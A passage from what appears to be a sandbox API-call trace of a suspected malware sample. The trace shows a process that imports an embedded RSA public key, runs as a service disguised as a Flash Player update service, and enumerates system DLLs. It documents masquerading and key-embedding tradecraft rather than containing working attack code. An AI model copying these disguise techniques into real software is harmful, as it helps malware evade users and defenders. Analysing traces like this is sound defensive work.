pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA0bHYo0dFAz3ykvvu0eMN\r\nM+TUym+ESdt2N0RC4MAqcA5TC00NdGq6WAcdGCxbVbrcChaSxzYwtcyLMbtqwbbW\r\nlewWYBAGPX7s6GDh2qWA6iOojNLGh5cpVz9v6Wst5p/v5ka6ocsS7ik0KVOGSBbT\r\n97Lia3dEt/8qACPM0yf2WNZ8EbJm1mmpYHrUHMqDqRFeSueCMisGA4g51cLO+5Ov\r\nz/VanHMTT1ktG+VcuXVmbaGsL7gjevLX8nNxK9l519irJ5ogH2o8izeCpVgjWP9o\r\nSQngzLq+4KPEwgp7DKcsq72XHbhxYo24jHJKyXDxsTub7b/W5cuJDurP+HmeV7Wz\r\nyp7GiZ/HCMdrI2Xmw9WLtinw4tRwDiAZjS2KxrbT4zIaWmf4hNDE5OC4VkuPznsy\r\nVyvuZV35ruECflNx7f5Yzg0KqnSx1BvuwUKkot5XbWEKI+8QjlFWa3EUYJ0hioBO\r\nM1tco2yIzaR/2A7hreFjHsZj2ndJiTDM9n40zEz69ZMMwsec/YX0aN9w2ZntOd9K\r\nLfA0iHci+YN4WzMjBJVDhPg591HM+lMRy+yaJ7xaxrnmQp4pg6LTvZ2ur2lXVYPT\r\nFhaTgawBjxgnss8VXct7ixajvlnk43rHbvVga6d7cUYuy3RZdnEwFh4W1VY10/fQ\r\nG0NRh8f7KZsGYuqnsuySNi8CAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x37f8fc, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x37f8fc, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0193.749] CryptStringToBinaryA (in: pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA0bHYo0dFAz3ykvvu0eMN\r\nM+TUym+ESdt2N0RC4MAqcA5TC00NdGq6WAcdGCxbVbrcChaSxzYwtcyLMbtqwbbW\r\nlewWYBAGPX7s6GDh2qWA6iOojNLGh5cpVz9v6Wst5p/v5ka6ocsS7ik0KVOGSBbT\r\n97Lia3dEt/8qACPM0yf2WNZ8EbJm1mmpYHrUHMqDqRFeSueCMisGA4g51cLO+5Ov\r\nz/VanHMTT1ktG+VcuXVmbaGsL7gjevLX8nNxK9l519irJ5ogH2o8izeCpVgjWP9o\r\nSQngzLq+4KPEwgp7DKcsq72XHbhxYo24jHJKyXDxsTub7b/W5cuJDurP+HmeV7Wz\r\nyp7GiZ/HCMdrI2Xmw9WLtinw4tRwDiAZjS2KxrbT4zIaWmf4hNDE5OC4VkuPznsy\r\nVyvuZV35ruECflNx7f5Yzg0KqnSx1BvuwUKkot5XbWEKI+8QjlFWa3EUYJ0hioBO\r\nM1tco2yIzaR/2A7hreFjHsZj2ndJiTDM9n40zEz69ZMMwsec/YX0aN9w2ZntOd9K\r\nLfA0iHci+YN4WzMjBJVDhPg591HM+lMRy+yaJ7xaxrnmQp4pg6LTvZ2ur2lXVYPT\r\nFhaTgawBjxgnss8VXct7ixajvlnk43rHbvVga6d7cUYuy3RZdnEwFh4W1VY10/fQ\r\nG0NRh8f7KZsGYuqnsuySNi8CAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0xdd7cf8, pcbBinary=0x37f8fc, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0xdd7cf8, pcbBinary=0x37f8fc, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0193.749] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0xdd7cf8, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0x0, pcbStructInfo=0x37f8fc | out: pvStructInfo=0x0, pcbStructInfo=0x37f8fc) returned 1 [0193.753] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0xdd7cf8, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0xdd7f40, pcbStructInfo=0x37f8fc | out: pvStructInfo=0xdd7f40, pcbStructInfo=0x37f8fc) returned 1 [0193.754] CryptImportPublicKeyInfo (in: hCryptProv=0x3cdd18, dwCertEncodingType=0x10001, pInfo=0xdd7f40*(Algorithm.pszObjId="1.2.840.113549.1.1.1", Algorithm.Parameters.cbData=0x2, Algorithm.Parameters.pbData=0xdd7f70*, PublicKey.cbData=0x20e, PublicKey.pbData=0xdd7f78*, PublicKey.cUnusedBits=0x0), phKey=0x37f900 | out: phKey=0x37f900*=0x3d2508) returned 1 [0193.755] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xdd7f40) returned 1 [0193.755] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xdd7cf8) returned 1 [0193.755] ReleaseMutex (hMutex=0xa0) returned 1 [0193.755] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xdd5058) returned 1 [0193.755] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x2800) returned 0xdd5058 [0193.755] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c900 [0193.755] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c900) returned 1 [0193.755] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xdd5058) returned 1 [0193.755] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x2800) returned 0xdd5058 [0193.755] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c900 [0193.755] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c900) returned 1 [0193.755] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c900 [0193.755] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xd3c900, cbMultiByte=9, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0193.755] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e1e0 [0193.755] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xd3c900, cbMultiByte=9, lpWideCharStr=0xd3e1e0, cchWideChar=9 | out: lpWideCharStr="DISK.FULL") returned 9 [0193.755] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e268 [0193.755] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e1e0) returned 1 [0193.755] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e268) returned 1 [0193.755] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c900) returned 1 [0193.755] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xdd5058) returned 1 [0193.755] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xdd2850) returned 1 [0193.755] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c0d8) returned 1 [0193.755] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d258) returned 1 [0193.755] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c240) returned 1 [0193.755] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d268) returned 1 [0193.755] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.755] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d278) returned 1 [0193.755] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.756] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d288) returned 1 [0193.756] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d5e8) returned 1 [0193.756] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0193.756] StartServiceCtrlDispatcherW (lpServiceTable=0x37f9c8*(lpServiceName="", lpServiceProc=0x110d040)) [0223.517] SetServiceStatus (hServiceStatus=0x3ce6c8, lpServiceStatus=0x37f8c8*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 Thread: id = 849 os_tid = 0x61c Thread: id = 850 os_tid = 0x11c Thread: id = 851 os_tid = 0x19c Thread: id = 852 os_tid = 0x7f8 [0193.889] RegisterServiceCtrlHandlerW (lpServiceName="", lpHandlerProc=0x110ce51) returned 0x3ce6c8 [0193.890] SetServiceStatus (hServiceStatus=0x3ce6c8, lpServiceStatus=0x19ffcc8*(dwServiceType=0x10, dwCurrentState=0x4, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 [0193.968] GetCommandLineW () returned="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe" [0193.968] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e268 [0193.968] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x5c) returned 0xd3dd28 [0193.968] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e1e0 [0193.968] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e2f0 [0193.968] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e378 [0193.968] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e400 [0193.968] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e488 [0193.968] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e510 [0193.968] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e598 [0193.968] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e620 [0193.968] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e6a8 [0193.968] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e730 [0193.968] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e7b8 [0193.968] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x100) returned 0xdd7cf8 [0193.968] GetSystemWow64DirectoryW (in: lpBuffer=0xdd7cf8, uSize=0x40 | out: lpBuffer="C:\\Windows\\SysWOW64") returned 0x13 [0193.968] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xdd7cf8) returned 1 [0193.968] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e840 [0193.968] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e840) returned 1 [0193.968] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e840 [0193.968] FindFirstFileExW (in: lpFileName="C:\\Windows\\SysWOW64\\\\*.dll", fInfoLevelId=0x1, lpFindFileData=0x19ffa24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x19ffa24) returned 0x3cfeb0 [0193.969] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e8c8 [0193.969] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e950 [0193.969] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AACLIENT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0193.969] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.969] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AACLIENT.DLL", cchWideChar=12, lpMultiByteStr=0xd3c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AACLIENT.DLL", lpUsedDefaultChar=0x0) returned 12 [0193.969] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.969] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.969] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.969] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e950) returned 1 [0193.969] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e8c8) returned 1 [0193.969] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93cbbe2a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93cbbe2a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x93d080eb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38e200, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="accessibilitycpl.dll", cAlternateFileName="")) returned 1 [0193.971] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e8c8 [0193.971] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e950 [0193.971] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCESSIBILITYCPL.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0193.971] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.971] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCESSIBILITYCPL.DLL", cchWideChar=20, lpMultiByteStr=0xd3c120, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACCESSIBILITYCPL.DLL", lpUsedDefaultChar=0x0) returned 20 [0193.971] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.971] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.972] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.972] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e950) returned 1 [0193.972] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e8c8) returned 1 [0193.972] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89c04678, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x89c04678, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xf0e28ef0, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x9a00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="ACCTRES.dll", cAlternateFileName="")) returned 1 [0193.972] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e8c8 [0193.972] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e950 [0193.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCTRES.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0193.972] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCTRES.DLL", cchWideChar=11, lpMultiByteStr=0xd3c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACCTRES.DLL", lpUsedDefaultChar=0x0) returned 11 [0193.972] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.972] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.972] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.972] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e950) returned 1 [0193.972] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e8c8) returned 1 [0193.972] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10f51da3, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x10f51da3, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7d217650, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="acledit.dll", cAlternateFileName="")) returned 1 [0193.972] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e8c8 [0193.972] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e950 [0193.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLEDIT.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0193.972] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLEDIT.DLL", cchWideChar=11, lpMultiByteStr=0xd3c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACLEDIT.DLL", lpUsedDefaultChar=0x0) returned 11 [0193.972] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.972] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.972] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.972] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e950) returned 1 [0193.972] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e8c8) returned 1 [0193.972] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d698b07, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x7d698b07, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7d217650, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1ea00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="aclui.dll", cAlternateFileName="")) returned 1 [0193.972] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e8c8 [0193.972] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e950 [0193.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLUI.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0193.972] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLUI.DLL", cchWideChar=9, lpMultiByteStr=0xd3c288, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACLUI.DLL", lpUsedDefaultChar=0x0) returned 9 [0193.972] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.972] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.972] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.972] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e950) returned 1 [0193.972] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e8c8) returned 1 [0193.973] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d3bd2e0, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d3bd2e0, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d3bd2e0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb200, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="acppage.dll", cAlternateFileName="")) returned 1 [0193.973] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e8c8 [0193.973] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e950 [0193.973] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACPPAGE.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0193.973] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.973] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACPPAGE.DLL", cchWideChar=11, lpMultiByteStr=0xd3c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACPPAGE.DLL", lpUsedDefaultChar=0x0) returned 11 [0193.973] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.973] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.973] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.973] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e950) returned 1 [0193.973] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e8c8) returned 1 [0193.973] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3c37918, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3c37918, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3c5da79, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb5c00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="ActionCenter.dll", cAlternateFileName="")) returned 1 [0193.973] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e8c8 [0193.973] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e950 [0193.973] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTER.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0193.973] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.973] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTER.DLL", cchWideChar=16, lpMultiByteStr=0xd3c288, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTIONCENTER.DLL", lpUsedDefaultChar=0x0) returned 16 [0193.973] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.973] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.973] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.973] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e950) returned 1 [0193.973] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e8c8) returned 1 [0193.973] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3c5da79, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3c5da79, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3c5da79, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x83400, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="ActionCenterCPL.dll", cAlternateFileName="")) returned 1 [0193.973] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e8c8 [0193.973] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e950 [0193.973] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTERCPL.DLL", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0193.973] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.973] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTERCPL.DLL", cchWideChar=19, lpMultiByteStr=0xd3c120, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTIONCENTERCPL.DLL", lpUsedDefaultChar=0x0) returned 19 [0193.973] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.973] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.973] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.973] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e950) returned 1 [0193.973] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e8c8) returned 1 [0193.973] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9adf355b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9adf355b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ae196bb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x31800, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="activeds.dll", cAlternateFileName="")) returned 1 [0193.973] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e8c8 [0193.973] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e950 [0193.973] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIVEDS.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 